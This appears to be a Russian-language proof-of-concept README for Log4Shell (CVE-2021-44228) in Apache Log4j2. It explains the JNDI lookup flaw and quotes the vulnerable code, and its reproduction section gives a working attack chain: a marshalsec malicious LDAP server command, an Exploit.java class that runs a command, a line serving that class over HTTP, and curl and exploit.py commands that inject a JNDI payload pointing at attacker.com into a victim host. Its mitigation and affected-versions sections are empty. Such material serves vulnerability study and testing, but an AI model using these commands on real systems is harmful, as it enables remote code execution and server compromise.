CVE-2021-44228 — Log4Shell: удаленное выполнение кода в Apache Log4j2

CVSS 10.0 КРИТИЧЕСКИЙ | CWE-502: Десериализация недоверенных данных | CWE-917: Некорректная нейтрализация при внедрении языка выражений

Обзор

Log4Shell (CVE-2021-44228) — пожалуй, самая серьезная уязвимость 2020-х годов, затрагивающая Apache Log4j2 версий 2.0 – 2.14.1. Обнаруженная Чэнь Чжаоцзюнем из Alibaba Cloud Security в ноябре 2021 года и публично раскрытая 9 декабря 2021 года, она позволяет неавторизованное удаленное выполнение кода на сотнях миллионов серверов по всему миру.

Уязвимость возникает из-за функции поиска JNDI (Java Naming and Directory Interface) в Log4j2, которая позволяет использовать произвольные строки поиска, такие как ${jndi:ldap://attacker.com/a}, в сообщениях журнала. Когда строка, контролируемая пользователем и содержащая такой шаблон, попадает в журнал, Log4j2 выполняет поиск JNDI, который может загружать и выполнять удаленные Java-классы.

Технические детали

Первопричина

Log4j2 представил функцию под названием «Message Lookup», которая заменяет шаблоны ${...} в сообщениях журнала значениями из различных источников (JNDI, переменные окружения, системные свойства и т.д.). Класс JndiLookup (org.apache.logging.log4j.core.lookup.JndiLookup) вызывает InitialContext.lookup() для строк, контролируемых атакующим, без надлежащей очистки.

// Vulnerable code in JndiLookup.java
public String lookup(LogEvent event, String key) {
    if (key == null) {
        return null;
    }
    try {
        // Directly passes attacker-controlled key to JNDI lookup
        return JndiManager.getJndiManager().lookup(key);
    } catch (...

Метод lookup() делегирует вызов javax.naming.InitialContext.lookup(), который может загружать удаленные объекты с серверов LDAP, RMI, DNS или CORBA.

Схема атаки

1. Attacker crafts payload: ${jndi:ldap://attacker.com/a}
2. Payload enters application context (HTTP header, user input, etc.)
3. Application logs the payload (e.g., via request logging)
4. Log4j2 processes the ${...} pattern and calls JndiLookup
5. JNDI lookup queries attacker-controlled LDAP server
6. LDAP server responds with a Reference pointing to attacker's Java class
7. Log4j2 / JVM fetches and loads the remote class
8. Attacker's class executes arbitrary code in the application's JVM

Затронутые версии

Воспроизведение

Настройка (LDAP-реферерный сервер)

Используйте marshalsec для запуска вредоносного LDAP-сервера:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389

Компиляция класса эксплойта

// Exploit.java
public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

javac Exploit.java
python3 -m http.server 80  # Serve Exploit.class

Запуск

python exploit.py --target http://victim.com --payload '${jndi:ldap://attacker.com:1389/Exploit}'

Или через HTTP-заголовок:

curl -H 'User-Agent: ${jndi:ldap://attacker.com:1389/Exploit}' http://victim.com

PoC-код

Включенный exploit.py предоставляет:

• Генерация нагрузок для внедрения JNDI (варианты LDAP, RMI, DNS)
• Внедрение HTTP-заголовков для распространенных целей
• Автоматический режим LDAP-реферерного сервера
• Совместная работа с marshalsec или автономно

Смягчение

Ссылки

• NVD: CVE-2021-44228
• Рекомендации по безопасности Apache Log4j
• Руководство CISA по Log4j
• Анализ Log4Shell от Lunasec